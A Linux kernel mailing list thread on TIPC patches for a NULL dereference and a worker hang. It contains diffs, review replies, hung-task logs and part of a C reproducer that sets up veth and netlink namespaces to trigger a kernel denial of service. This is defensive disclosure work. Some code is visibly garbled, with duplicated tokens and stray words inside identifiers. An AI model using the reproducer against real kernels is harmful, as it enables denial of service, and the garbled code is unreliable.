+       /* Wake up node work queue if tipc_net_finalize_work() is not
+        * scheduled yet.
+        */
+       if (atomic_read(&node->work_scheduled)) {
+               if (!atomic_read(&tn->finalized)) {
+                       atomic_set(&tn->finalized, 1);
+                       wake_up_var(&tn->finalized);
+               }
+
+               cancel_work_sync(&node->work);
+       }
+
        tipc_node_put(node);
 }

-- 
2.43.0

^ permalink raw reply	[flat|nested] 14+ messages in thread

* RE: [PATCH net v8 2/3] tipc: fix NULL deref in deferred bulk distribution on publish failure
  2026-07-18  9:25 ` [PATCH net v8 2/3] tipc: fix NULL deref in deferred bulk distribution on publish failure Weiming Shi
@ 2026-07-20 15:44   ` Tung Quang Nguyen
  0 siblings, 0 replies; 14+ messages in thread
From: Tung Quang Nguyen @ 2026-07-20 15:44 UTC (permalink / raw)
  To: Weiming Shi
  Cc: Xiang Mei, David S. Miller, Eric Dumazet, Jakub Kicinski,
	Paolo Abeni, Simon Horman, kernel test robot, Jon Maloy, netdev,
	tipc-discussion, linux-kernel

>Subject: [PATCH net v8 2/3] tipc: fix NULL deref in deferred bulk distribution on
>publish failure
>
>tipc_net_finalize() does not check the return value of tipc_nametbl_publish().
>If the publish fails, for example on a GFP_ATOMIC allocation failure, the node
>state name never lands in cluster_scope, but tn->finalized is still set. A worker
>deferred by
>tipc_named_node_up() then wakes and calls named_distribute() with an
>empty list. That replays the same unguarded buf_msg(skb_peek_tail(list)) tail
>stamp, this time on the tipc_node_dist_bulk workqueue:
>
> KASAN: null-ptr-deref in range [0x00000000000000c8-0x00000000000000cf]
> RIP: 0010:named_distribute (net/tipc/name_distr.c:200)
> Workqueue: events tipc_node_dist_bulk
> Call Trace:
>  tipc_named_dist_cluster_scope (net/tipc/name_distr.c:267)
>  tipc_node_dist_bulk (net/tipc/node.c:403)
>  process_one_work
>  worker_thread
> Kernel panic - not syncing: Fatal exception in interrupt
>
>Check the publish result and warn on failure, but still set finalized, otherwise
>deferred workers would sleep forever. In
>tipc_named_dist_cluster_scope() re-check cluster_scope after the wait and
>skip the distribution when it is empty. This is a permanent condition, so return
>0 instead of an error, otherwise the link would be bounced forever. Also guard
>the tail stamp in named_distribute() itself, so a caller that misses the
>precondition gets a warning and a link reset through the existing -ENOBUFS
>path instead of a crash.
>
>Reproducing this needs an allocation failure during finalize, so I verified it by
>stubbing out the publish call: both nodes log the failure, the workers skip the
>distribution, no crash, no link flap.
>The normal path is unchanged with the same two-node test.
>
>Fixes: cad2929dc432 ("tipc: update a binding service via broadcast")
>Reported-by: Xiang Mei <xmei5@asu.edu>
>Assisted-by: Claude:claude-opus-4-8
>Signed-off-by: Weiming Shi <bestswngs@gmail.com>
Please drop this patch because sashiko reports the same issue for patch 1/3: https://sashiko.dev/#/patchset/20260718092544.785289-1-bestswngs%40gmail.com

^ permalink raw reply	[flat|nested] 14+ messages in thread

* RE: [PATCH net v8 3/3] tipc: fix node reference leak when defer work is already pending
  2026-07-18  9:25 ` [PATCH net v8 3/3] tipc: fix node reference leak when defer work is already pending Weiming Shi
@ 2026-07-20 15:45   ` Tung Quang Nguyen
  0 siblings, 0 replies; 14+ messages in thread
From: Tung Quang Nguyen @ 2026-07-20 15:45 UTC (permalink / raw)
  To: Weiming Shi
  Cc: Xiang Mei, David S. Miller, Eric Dumazet, Jakub Kicinski,
	Paolo Abeni, Simon Horman, linux-kernel, Jon Maloy, netdev,
	tipc-discussion

>Subject: [PATCH net v8 3/3] tipc: fix node reference leak when defer work is
>already pending
>
>In tipc_node_write_unlock(), TIPC_NOTIFY_NODE_UP with an empty
>cluster_scope takes a node reference and schedules n->work. If the link flaps
>down and up while that work is still pending, the next NODE_UP takes another
>reference, but schedule_work() returns false and the extra reference is never
>dropped. The tipc_node structure leaks.
>
>Verified by flapping the bearer while the work is pending: one reference is
>leaked per repeated NODE_UP, while the work is put only once when it finally
>runs.
>
>Drop the reference when the work was already queued.
>
>Reported-by: Xiang Mei <xmei5@asu.edu>
>Assisted-by: Claude:claude-opus-4-8
>Signed-off-by: Weiming Shi <bestswngs@gmail.com>
Please drop this patch because sashiko reports the same issue for patch 1/3: https://sashiko.dev/#/patchset/20260718092544.785289-1-bestswngs%40gmail.com

^ permalink raw reply	[flat|nested] 14+ messages in thread

* Re: [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on empty publication list
  2026-07-20 15:41   ` Tung Quang Nguyen
@ 2026-07-21  3:06     ` Weiming Shi
  2026-07-21  3:24       ` Tung Quang Nguyen
  0 siblings, 1 reply; 14+ messages in thread
From: Weiming Shi @ 2026-07-21  3:06 UTC (permalink / raw)
  To: Tung Quang Nguyen
  Cc: Xiang Mei, kernel test robot, David S. Miller, Eric Dumazet,
	Jakub Kicinski, Paolo Abeni, Simon Horman, linux-kernel,
	Jon Maloy, netdev, tipc-discussion

Tung Quang Nguyen <tung.quang.nguyen@est.tech> 于2026年7月20日周一 23:41写道:
>
> >Subject: [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on
> >empty publication list
> >
> >[The defer-to-workqueue approach is by Tung Nguyen. He posted it  on the
> >thread and asked us to test it, as the replacement for the  item-less bulk
> >approach. Since the RFC only exists as an inline  diff in the thread, it is folded
> >into this series so the fix is  self-contained.]
> >
> >named_distribute() stamps the last_bulk flag on the tail skb of the publication
> >list. When the list is empty no skb is enqueued and the tail access dereferences
> >NULL. tipc_named_node_up() hits this on an empty cluster_scope, which
> >happens with a node-id configuration where cluster_scope is populated only
> >later by tipc_net_finalize(). It is reachable by an unprivileged user over a UDP
> >bearer in a user+net namespace. The reported crash:
> >
> > KASAN: null-ptr-deref in range [0x00000000000000d8-0x00000000000000df]
> > RIP: 0010:tipc_named_node_up (net/tipc/name_distr.c:196)
> >  tipc_named_node_up (net/tipc/name_distr.c:196 net/tipc/name_distr.c:221)
> >  tipc_node_write_unlock (net/tipc/node.c:428)
> >  tipc_rcv (net/tipc/node.c:2185)
> >  tipc_udp_recv (net/tipc/udp_media.c:392)  Kernel panic - not syncing: Fatal
> >exception in interrupt
> >
> >When cluster_scope is empty at node-up, defer the bulk distribution to a
> >workqueue and wait for tipc_net_finalize() to publish the node-state name, so
> >named_distribute() always runs on a non-empty list. On allocation failure,
> >purge the partially built queue and bring the link down so the bulk distribution
> >restarts when the link comes up again.
> >
> >Fixes: cad2929dc432 ("tipc: update a binding service via broadcast")
> >Reported-by: Xiang Mei <xmei5@asu.edu>
> >Reported-by: kernel test robot <lkp@intel.com>
> >Closes: https://lore.kernel.org/oe-kbuild-all/202607180730.TwVgASDI-
> >lkp@intel.com/
> >Signed-off-by: Tung Nguyen <tung.quang.nguyen@est.tech>
> >Tested-by: Weiming Shi <bestswngs@gmail.com>
> >Signed-off-by: Weiming Shi <bestswngs@gmail.com>
> >---
> sashiko reports many critical/high issues: https://sashiko.dev/#/patchset/20260718092544.785289-1-bestswngs%40gmail.com
>
> I address all in below patch下面的补丁. Could you please test it ?
>
> ---
>  net/tipc/core.c       |  2 ++
>  net/tipc/core.h       |  4 +++
>  net/tipc/name_distr.c | 67 +++++++++++++++++++++++++++++++++++++------
>  net/tipc/name_distr.h |  3 +-
>  net/tipc/net.c        | 15 +++++++++-
>  net/tipc/node.c       | 61 +++++++++++++++++++++++++++++++++++++--
>  6 files changed, 139 insertions(+), 13 deletions(-)
>
> diff --git a/net/tipc/core.c b/net/tipc/core.c
> index 315975c3be81..52544b805dcc 100644
> --- a/net/tipc/core.c
> +++ b/net/tipc/core.c
> @@ -61,6 +61,8 @@ static int __net_init tipc_init_net(struct net *net)
>         tn->trial_addr = 0;
>         tn->addr_trial_end = 0;
>         tn->capabilities = TIPC_NODE_CAPABILITIES;
> +       atomic_set(&tn->finalized, 0);
> +       atomic_set(&tn-&tn->work_rescheduled, 0);
>         INIT_WORK(&tn-&tn->work, tipc_net_finalize_work);
>         memset(tn->node_id, 0, sizeof(tn->node_id));
>         memset(tn->node_id_string, 0, sizeof(tn->node_id_string));
> diff --git a/net/tipc/core.h b/net/tipc/core.h
> index 9ce5f9ff6cc0..52fdb9189cc3 100644
> --- a/net/tipc/core.h
> +++ b/net/tipc/core.h
> @@ -145,6 +145,10 @@ struct tipc_net {
>         struct work_struct work;
>         /* The numbers of work queues in schedule */
>         atomic_t wq_count;
> +       /* flag to indicate work has finished */
> +       atomic_t finalized;
> +       /* flag to reschedule work */
> +       atomic_t work_rescheduled;
>  };
>
>  static inline struct tipc_net *tipc_net(struct net *net)
> diff --git a/net/tipc/name_distr.c b/net/tipc/name_distr.c
> index ba4f4906e13b..3e32445cfbd0 100644
> --- a/net/tipc/name_distr.c
> +++ b/net/tipc/name_distr.c
> @@ -147,8 +147,8 @@ struct sk_buff *tipc_named_withdraw(struct net *net, struct publication *p)
>   * @pls: linked list of publication items to be packed into buffer chain
>   * @seqno: sequence number for this message
>   */
> -static void named_distribute(struct net *net, struct sk_buff_head *list,
> -                            u32 dnode, struct list_head *pls, u16 seqno)
> +static int named_distribute(struct net *net, struct sk_buff_head *list,
> +                           u32 dnode, struct list_head *pls, u16 seqno)
>  {
>         struct publication *publ;
>         struct sk_buff *skb = NULL;
> @@ -164,8 +164,9 @@ static void named_distribute(struct net *net, struct sk_buff_head *list,
>                         skb = named_prepare_buf(net, PUBLICATION, msg_rem,
>                                                 dnode);
>                         if (!skb) {
> +                               __skb_queue_purge(list);
>                                 pr_warn("Bulk publication failure\n");
> -                               return;
> +                               return 1;
>                         }
>                         hdr = buf_msg(skb);
>                         msg_set_bc_ack_invalid(hdr, true);
> @@ -195,15 +196,16 @@ static void named_distribute(struct net *net, struct sk_buff_head *list,
>         hdr = buf_msg(skb_peek_tail(list));
>         msg_set_last_bulk(hdr);
>         msg_set_named_seqno(hdr, seqno);
> +
> +       return 0;
>  }
>
>  /**
> - * tipc_named_node_up - tell specified node about all publications by this node
> + * tipc_named_distribute - distribute all publications to specified node
>   * @net: the associated network namespace
>   * @dnode: destination node
> - * @capabilities: peer node's capabilities
>   */
> -void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities)
> +static int tipc_named_distribute(struct net *net, u32 dnode)
>  {
>         struct name_table *nt = tipc_name_table(net);
>         struct tipc_net *tn = tipc_net(net);
> @@ -212,15 +214,62 @@ void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities)
>
>         __skb_queue_head_init(&head);
>         spin_lock_bh(&tn-&tn->nametbl_lock);
> -       if (!(capabilities & TIPC_NAMED_BCAST))
> -               nt->rc_dests++;
>         seqno = nt->snd_nxt;
>         spin_unlock_bh(&tn-&tn->nametbl_lock);
>
>         read_lock_bh(&nt->cluster_scope_lock);
> -       named_distribute(net, &head, dnode, &nt->cluster_scope, seqno);
> +       /* 1. tipc_net_finalize_work() is not scheduled because of namespace
> +        *    teardown.
> +        * 2. Or tipc_net_finalize() ---> tipc_nametbl_publish() has failed
> +        *    to insert node self address publication to nt->cluster_scope.
> +        * 3. Or tipc_net_finalize() ---> tipc_nametbl_publish() has not
> +        *    executed yet.
> +        */
> +       if (unlikely(list_empty(&nt->cluster_scope))) {
> +               read_unlock_bh(&nt->cluster_scope_lock);
> +               return 1;
> +       }
> +
> +       if (named_distribute(net, &head, dnode, &nt->cluster_scope, seqno)) {
> +               read_unlock_bh(&nt->cluster_scope_lock);
> +               return -ENOBUFS;
> +       }
>         tipc_node_xmit(net, &head, dnode, 0);
>         read_unlock_bh(&nt->cluster_scope_lock);
> +
> +       return 0;
> +}
> +
> +/**
> + * tipc_named_node_up - tell specified node about all publications by this node
> + * @net: the associated network namespace
> + * @dnode: destination node
> + * @capabilities: peer node's capabilities
> + */
> +int tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities)
> +{
> +       struct name_table *nt = tipc_name_table(net);
> +       struct tipc_net *tn = tipc_net(net);
> +
> +       spin_lock_bh(&tn-&tn->nametbl_lock);
> +       if (!(capabilities & TIPC_NAMED_BCAST))
> +               nt->rc_dests++;
> +       spin_unlock_bh(&tn-&tn->nametbl_lock);
> +
> +       return tipc_named_distribute(net, dnode);
> +}
> +
> +/**
> + * tipc_named_dist_cluster_scope - distribute all publications to specified node
> + * @net: the associated network namespace
> + * @dnode: destination node
> + */
> +int tipc_named_dist_cluster_scope(struct net *net, u32 dnode)
> +{
> +       struct tipc_net *tn = tipc_net(net);
> +
> +       wait_var_event(&tn->finalized, atomic_read(&tn->finalized));
> +       return tipc_named_distribute(net, dnode);
>  }
>
>  /**
> diff --git a/net/tipc/name_distr.h b/net/tipc/name_distr.h
> index c677f6f082df..cadf4e8c3e66 100644
> --- a/net/tipc/name_distr.h
> +++ b/net/tipc/name_distr.h
> @@ -69,7 +69,8 @@ struct distr_item {
>
>  struct sk_buff *tipc_named_publish(struct net *net, struct publication *publ);
>  struct sk_buff *tipc_named_withdraw(struct net *net, struct publication *publ);
> -void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities);
> +int tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities);
> +int tipc_named_dist_cluster_scope(struct net *net, u32 dnode);
>  void tipc_named_rcv(struct net *net, struct sk_buff_head *namedq,
>                     u16 *rcv_nxt, bool *open);
>  void tipc_named_reinit(struct net *net);
> diff --git a/net/tipc/net.c b/net/tipc/net.c
> index 7e65d0b0c4a8..78418515277e 100644
> --- a/net/tipc/net.c
> +++ b/net/tipc/net.c
> @@ -132,13 +132,26 @@ static void tipc_net_finalize(struct net *net, u32 addr)
>         tipc_uaddr(&ua, TIPC_SERVICE_RANGE, TIPC_CLUSTER_SCOPE,
>                    TIPC_NODE_STATE, addr, addr);
>
> +       if (atomic_read(&tn-&tn->work_rescheduled))
> +               goto publish;
> +
>         if (cmpxchg(&tn-&tn->node_addr, 0, addr))
>                 return;
>         tipc_set_node_addr(net, addr);
>         tipc_named_reinit(net);
>         tipc_sk_reinit(net);
>         tipc_mon_reinit_self(net);
> -       tipc_nametbl_publish(net, &ua, &sk, addr);
> +
> +publish:
> +       if (!tipc_nametbl_publish(net, &ua, &sk, addr)) {
> +               tn->trial_addr = addr;
> +               atomic_set(&tn-&tn->work_rescheduled, 1);
> +               schedule_work(&tn-&tn->work);
> +               return;
> +       }
> +       atomic_set(&tn-&tn->work_rescheduled, 0);
> +       atomic_set(&tn->finalized, 1);
> +       wake_up_var(&tn->finalized);
>  }
>
>  void tipc_net_finalize_work(struct work_struct *work)
> diff --git a/net/tipc/node.c b/net/tipc/node.c
> index 8e4ef2630ae4..afed72894722 100644
> --- a/net/tipc/node.c
> +++ b/net/tipc/node.c
> @@ -111,6 +111,8 @@ struct tipc_bclink_entry {
>   * @peer_net: peer's net namespace
>   * @peer_hash_mix: hash for this peer (FIXME)
>   * @crypto_rx: RX crypto handler
> + * @work: work item for bulk distribution of cluster scope publications
> + * @work_scheduled: flag to indicate the work has been scheduled
>   */
>  struct tipc_node {
>         u32 addr;
> @@ -145,6 +147,8 @@ struct tipc_node {
>  #ifdef CONFIG_TIPC_CRYPTO
>         struct tipc_crypto *crypto_rx;
>  #endif
> +       struct work_struct work;
> +       atomic_t work_scheduled;
>  };
>
>  /* Node FSM states and events:
> @@ -393,6 +397,27 @@ static void tipc_node_write_unlock_fast(struct tipc_node *n)
>         write_unlock_bh(&n->lock);
>  }
>
> +static void tipc_node_down(struct tipc_node *n)
> +{
> +       u32 bearer_id, bearer_cnt;
> +
> +       tipc_node_read_lock(n);
> +       bearer_cnt = n->link_cnt;
> +       tipc_node_read_unlock(n);
> +       for (bearer_id = 0; bearer_id < bearer_cnt; bearer_id++)
> +               tipc_node_link_down(n, bearer_id, false);
> +}
> +
> +static void tipc_node_dist_bulk(struct work_struct *work)
> +{
> +       struct tipc_node *node = container_of(work, struct tipc_node, work);
> +
> +       if (tipc_named_dist_cluster_scope(node->net, node->addr) < 0)
> +               tipc_node_down(node);
> +
> +       tipc_node_put(node);
> +}
> +
>  static void tipc_node_write_unlock(struct tipc_node *n)
>         __releases(n->lock)
>  {
> @@ -424,8 +449,23 @@ static void tipc_node_write_unlock(struct tipc_node *n)
>         if (flags & TIPC_NOTIFY_NODE_DOWN)
>                 tipc_publ_notify(net, publ_list, node, n->capabilities);
>
> -       if (flags & TIPC_NOTIFY_NODE_UP)
> -               tipc_named_node_up(net, node, n->capabilities);
> +       if (flags & TIPC_NOTIFY_NODE_UP) {
> +               int rc = 0;
> +
> +               rc = tipc_named_node_up(net, node, n->capabilities);
> +               /* Defer bulk distribution to work queue */
> +               if (rc > 0) {
> +                       atomic_set(&n->work_scheduled, 1);
> +                       tipc_node_get(n);
> +                       if (!schedule_work(&n->work))
> +                               tipc_node_put(n);
> +               } else if (rc < 0) {
> +                       /* Bring the node down to start over bulk distribution
> +                        * when the first link is up again.
> +                        */
> +                       tipc_node_down(n);
> +               }
> +       }
>
>         if (flags & TIPC_NOTIFY_LINK_UP) {
>                 tipc_mon_peer_up(net, node, bearer_id);
> @@ -564,6 +604,8 @@ struct tipc_node *tipc_node_create(struct net *net, u32 addr, u8 *peer_id,
>         INIT_LIST_HEAD(&n->list);
>         INIT_LIST_HEAD(&n->publ_list);
>         INIT_LIST_HEAD(&n->conn_sks);
> +       INIT_WORK(&n->work, tipc_node_dist_bulk);
> +       atomic_set(&n->work_scheduled, 0);
>         skb_queue_head_init(&n->bc_entry.namedq);
>         skb_queue_head_init(&n->bc_entry.inputq1);
>         __skb_queue_head_init(&n->bc_entry.arrvq);
> @@ -635,10 +677,25 @@ static void tipc_node_delete_from_list(struct tipc_node *node)
>
>  static void tipc_node_delete(struct tipc_node *node)
>  {
> +       struct tipc_net *tn = tipc_net(node->net);
> +
>         trace_tipc_node_delete(node, true, " ");
>         tipc_node_delete_from_list(node);
>
>         timer_delete_sync(&node->timer);
> +
> +       /* Wake up node work queue if tipc_net_finalize_work() is not
> +        * scheduled yet.
> +        */
> +       if (atomic_read(&node->work_scheduled)) {
> +               if (!atomic_read(&tn->finalized)) {
> +                       atomic_set(&tn->finalized, 1);
> +                       wake_up_var(&tn->finalized);
> +               }
> +
> +               cancel_work_sync(&node->work);
> +       }
> +
>         tipc_node_put(node);
>  }
>
> --
> 2.43.0




Hi Tung,

I tested this on v7.1-rc5 with the two-node setup (UDP bearers,
node-id addressing), as an unprivileged user and as root.
The original NULL deref is fixed, and the sashiko findings look addressed.

But I found one path the patch misses: tipc_node_cleanup(). It removes
a stale node with tipc_node_delete_from_list() directly, without the
wake/cancel
you added in tipc_node_delete(). If a deferred worker is still parked
when the stale timer fires, the node is removed from the list while
the worker is
sleeping in wait_var_event(). Since the node is off the list, the wake
in tipc_node_delete() can no longer reach it. The worker stays in D
state and
keeps its node reference, so the node struct leaks as well.

This state is reachable from userspace without any kernel change:
filling local_publ_count to TIPC_MAX_PUBL with node-scope binds makes
tipc_net_finalize()'s publish fail, and the work_rescheduled retry
then keeps finalized at 0, so the link-up defers the worker for as
long as the table
stays full. (The retry also也重试 busy-loops, printing "tipc: Bind
failed, max limit 65535 reached" each round.) Bringing the link down
makes the peer node go
stale NODE_CLEANUP_AFTER (300s) later, with the worker still parked.
The hung task watchdog flags it:

```
     [  370.440401] INFO: task kworker/0:0:9 blocked for more than 245 seconds.
     [  370.441580] Workqueue: events tipc_node_dist_bulk
     [  370.442803] Call Trace:
     [  370.443151]  __schedule+0x18bf/0x4680
     [  370.444293]  tipc_named_dist_cluster_scope+0x1a0/0x220
     [  370.446076]  tipc_node_dist_bulk+0x6d/0x1b0
     [  370.446218]  process_one_work+0x845/0x1a60
```

With a test-only marker printk in tipc_node_cleanup() I can see the
stale timer remove both nodes at ~368s and ~375s, i.e. while the
workers above are
still parked. Nothing wakes them on that path; in this run they only
exit because killing the reproducer closes the bind sockets, so the
next retry's
publish succeeds. With a persistent failure source (e.g. memory
pressure) the worker would stay parked across the netns teardown as
well.


```
[  247.560544] INFO: task kworker/0:0:9 blocked for more than 122 seconds.
     [  247.568089] INFO: task kworker/0:2:67 blocked for more than 122 seconds.

     [  370.440401] INFO: task kworker/0:0:9 blocked for more than 245 seconds.
     [  370.441580] Workqueue: events tipc_node_dist_bulk
     [  370.442803] Call Trace:
     [  370.443151]  __schedule+0x18bf/0x4680
     [  370.444293]  tipc_named_dist_cluster_scope+0x1a0/0x220     ←
wait_var_event 睡眠点
     [  370.446076]  tipc_node_dist_bulk+0x6d/0x1b0
     [  370.446218]  process_one_work+0x845/0x1a60

```


The Configs and reproducer :
```
CONFIG_TIPC=y,
CONFIG_TIPC_MEDIA_UDP=y, CONFIG_USER_NS=y, CONFIG_NET_NS=y,
CONFIG_KASAN=y (crash on the unpatched kernel),
CONFIG_DETECT_HUNG_TASK=y
```

```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/genetlink.h>
#include <linux/if_link.h>
#include <linux/veth.h>
#include <linux/tipc.h>

#ifndef AF_TIPC
#define AF_TIPC 30
#endif
#ifndef SOCK_RDM
#define SOCK_RDM 4
#endif

#ifndef VETH_INFO_PEER
#define VETH_INFO_PEER 1
#endif

#define TIPC_GENL_V2_NAME "TIPCv2"

enum {
        TIPC_NL_UNSPEC,
        TIPC_NL_LEGACY,
        TIPC_NL_BEARER_DISABLE,
        TIPC_NL_BEARER_ENABLE,
        TIPC_NL_BEARER_GET,
        TIPC_NL_BEARER_SET,
        TIPC_NL_SOCK_GET,
        TIPC_NL_PUBL_GET,
        TIPC_NL_LINK_GET,
        TIPC_NL_LINK_SET,
        TIPC_NL_LINK_RESET_STATS,
        TIPC_NL_MEDIA_GET,
        TIPC_NL_MEDIA_SET,
        TIPC_NL_NODE_GET,
        TIPC_NL_NET_GET,
        TIPC_NL_NET_SET,
};

enum {
        TIPC_NLA_UNSPEC,
        TIPC_NLA_BEARER,
        TIPC_NLA_SOCK,
        TIPC_NLA_PUBL,
        TIPC_NLA_LINK,
        TIPC_NLA_MEDIA,
        TIPC_NLA_NODE,
        TIPC_NLA_NET,
};

enum {
        TIPC_NLA_BEARER_UNSPEC,
        TIPC_NLA_BEARER_NAME,
        TIPC_NLA_BEARER_PROP,
        TIPC_NLA_BEARER_DOMAIN,
        TIPC_NLA_BEARER_UDP_OPTS,
};

enum {
        TIPC_NLA_UDP_UNSPEC,
        TIPC_NLA_UDP_LOCAL,
        TIPC_NLA_UDP_REMOTE,
        TIPC_NLA_UDP_MULTI_REMOTEIP,
};

enum {
        TIPC_NLA_NET_UNSPEC,
        TIPC_NLA_NET_ID,
        TIPC_NLA_NET_ADDR,
        TIPC_NLA_NET_NODEID,
        TIPC_NLA_NET_NODEID_W1,
};

#define TIPC_UDP_PORT 6118
#define NLA_ALIGNTO 4
#define MY_NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1))

static int tipc_family;

static int nl_open(int protocol)
{
        int fd = socket(AF_NETLINK, SOCK_RAW, protocol);
        if (fd < 0) { perror("socket(NETLINK)"); exit(1); }
        struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
        if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
                perror("bind(NETLINK)"); exit(1);
        }
        return fd;
}

static void *nla_put(char *buf, int *off, int type, const void *data, int len)
{
        struct nlattr *a = (struct nlattr *)(buf + *off);
        a->nla_type = type;
        a->nla_len = NLA_HDRLEN + len;
        if (len)
                memcpy((char *)a + NLA_HDRLEN, data, len);
        *off += MY_NLA_ALIGN(a->nla_len);
        return a;
}

static struct nlattr *nla_nest_start(char *buf, int *off, int type)
{
        struct nlattr *a = (struct nlattr *)(buf + *off);
        a->nla_type = type | NLA_F_NESTED;
        *off += NLA_HDRLEN;
        return a;
}

static void nla_nest_end(char *buf, int *off, struct nlattr *start)
{
        start->nla_len = (buf + *off) - (char *)start;
}

static int genl_resolve_family(int fd, const char *name)
{
        char buf[1024];
        memset(buf, 0, sizeof(buf));
        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
        struct genlmsghdrgenlmsghdr *gh = (struct genlmsghdrgenlmsghdr
*)NLMSG_DATA(nlh);
        int off = NLMSG_HDRLEN + GENL_HDRLEN;

        nlh->nlmsg_type = GENL_ID_CTRL;
        nlh->nlmsg_flags = NLM_F_REQUEST;
        nlh->nlmsg_seq = 1;
        gh->cmd = CTRL_CMD_GETFAMILY;
        gh->version = 1;
        nla_put(buf, &off, CTRL_ATTR_FAMILY_NAME, name, strlen(name) + 1);
        nlh->nlmsg_len = off;

        if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send genl
resolve"); exit(1); }

        char rbuf[4096];
        int n = recv(fd, rbuf, sizeof(rbuf), 0);
        if (n < 0) { perror("recv genl resolve"); exit(1); }

        struct nlmsghdr *rh = (struct nlmsghdr *)rbuf;
        if (rh->nlmsg_type == NLMSG_ERROR)
                return -1;
        struct nlattr *a = (struct nlattr *)((char *)NLMSG_DATA(rh) +
GENL_HDRLEN);
        int alen阿伦 = rh->nlmsg_len - NLMSG_HDRLEN - GENL_HDRLEN;
        while (alen > 0) {
                if (a->nla_type == CTRL_ATTR_FAMILY_ID)
                        return *(uint16_t *)((char *)a + NLA_HDRLEN);
                int step = MY_NLA_ALIGN(a->nla_len);
                alen -= step;
                a = (struct nlattr *)((char *)a + step);
        }
        return -1;
}

static int nl_recv_ack(int fd, const char *what)
{
        char rbuf[8192];
        int n = recv(fd, rbuf, sizeof(rbuf), 0);
        if (n < 0) { fprintf(stderr, "recv ack (%s): %s\n", what,
strerror(errno)); return -1; }
        struct nlmsghdr *rh = (struct nlmsghdr *)rbuf;
        if (rh->nlmsg_type == NLMSG_ERROR) {
                struct nlmsgerr *e = NLMSG_DATA(rh);
                if (e->error != 0)
                        fprintf(stderr, "[%s] netlink error: %d
(%s)\n", what, e->error, strerror(-e->error));
                return e->error;
        }
        return 0;
}

static void *rta_put(char *buf, int *off, int type, const void *data, int len)
{
        struct rtattr *a = (struct rtattr *)(buf + *off);
        a->rta_type = type;
        a->rta_len = RTA_LENGTH(len);
        if (len) memcpy(RTA_DATA(a), data, len);
        *off += RTA_ALIGN(a->rta_len);
        return a;
}

static struct rtattr *rta_nest(char *buf, int *off, int type)
{
        struct rtattr *a = (struct rtattr *)(buf + *off);
        a->rta_type = type | NLA_F_NESTED;
        *off += RTA_LENGTH(0);
        return a;
}

static void rta_nest_end(char *buf, int *off, struct rtattr *start)
{
        start->rta_len = (buf + *off) - (char *)start;
}

static void create_veth(int fd, const char *n0, const char *n1, int peer_nsfd)
{
        char buf[2048];
        memset(buf, 0, sizeof(buf));
        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
        struct ifinfomsg *ifi = NLMSG_DATA(nlh);
        int off = NLMSG_HDRLEN + sizeof(*ifi);

        nlh->nlmsg_type = RTM_NEWLINK;
        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE |
NLM_F_EXCL;
        nlh->nlmsg_seq = 10;
        ifi->ifi_family = AF_UNSPEC;

        rta_put(buf, &off, IFLA_IFNAME, n0, strlen(n0) + 1);
        struct rtattr *linfo = rta_nest(buf, &off, IFLA_LINKINFO);
        rta_put(buf, &off, IFLA_INFO_KIND, "veth", 5);
        struct rtattr *idata = rta_nest(buf, &off, IFLA_INFO_DATA);
        struct rtattr *peer = rta_nest(buf, &off, VETH_INFO_PEER);
        struct ifinfomsg *pifi = (struct ifinfomsg *)(buf + off);
        memset(pifi, 0, sizeof(*pifi));
        off += sizeof(*pifi);
        rta_put(buf, &off, IFLA_IFNAME, n1, strlen(n1) + 1);
        rta_put(buf, &off, IFLA_NET_NS_FD, &peer_nsfd, sizeof(peer_nsfd));
        rta_nest_end(buf, &off, peer);
        rta_nest_end(buf, &off, idata);
        rta_nest_end(buf, &off, linfo);
        nlh->nlmsg_len = off;

        if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send
veth"); exit(1); }
        int e = nl_recv_ack(fd, "create_veth");
        if (e && e != -EEXIST) { fprintf(stderr, "veth create failed:
%d\n", e); exit(1); }
}

static void set_if_up(int fd, const char *name)
{
        char buf[512];
        memset(buf, 0, sizeof(buf));
        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
        struct ifinfomsg *ifi = NLMSG_DATA(nlh);
        int off = NLMSG_HDRLEN + sizeof(*ifi);
        nlh->nlmsg_type = RTM_NEWLINK;
        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
        nlh->nlmsg_seq = 20;
        ifi->ifi_family = AF_UNSPEC;
        ifi->ifi_index = if_nametoindex(name);
        ifi->ifi_flags = IFF_UP;
        ifi->ifi_change = IFF_UP;
        nlh->nlmsg_len = off;
        if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send up");
exit(1); }
        nl_recv_ack(fd, "set_if_up");
}

static void add_ipv4(int fd, const char *name, const char *ip, int prefix)
{
        char buf[512];
        memset(buf, 0, sizeof(buf));
        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
        struct ifaddrmsg *ifa = NLMSG_DATA(nlh);
        int off = NLMSG_HDRLEN + sizeof(*ifa);
        nlh->nlmsg_type = RTM_NEWADDR;
        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE |
NLM_F_REPLACE;
        nlh->nlmsg_seq = 30;
        ifa->ifa_family = AF_INET;
        ifa->ifa_prefixlen = prefix;
        ifa->ifa_scope = 0;
        ifa->ifa_index = if_nametoindex(name);

        struct in_addr a;
        inet_pton(AF_INET, ip, &a);
        rta_put(buf, &off, IFA_LOCAL, &a, 4);
        rta_put(buf, &off, IFA_ADDRESS, &a, 4);
